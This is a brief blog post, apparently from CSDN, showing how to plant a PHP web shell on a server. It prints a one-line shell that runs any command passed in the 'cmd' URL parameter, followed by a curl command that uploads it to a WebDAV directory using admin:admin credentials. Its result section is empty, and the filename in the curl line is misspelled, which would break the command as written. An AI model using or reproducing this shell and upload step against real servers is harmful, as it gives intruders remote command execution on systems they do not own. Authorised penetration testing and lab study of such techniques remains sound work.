curl upload webshell to web directory

Table of contents

environment

upload file with curl

result 


environment

upload file with curl

cat codeexec.php 
<?php system($_GET['cmd']); ?>
curl -T cocdeexec.php -u 'admin:admin' http://abc.com/webdev/

result 

Guess you like

Origin blog.csdn.net/u012206617/article/details/130390347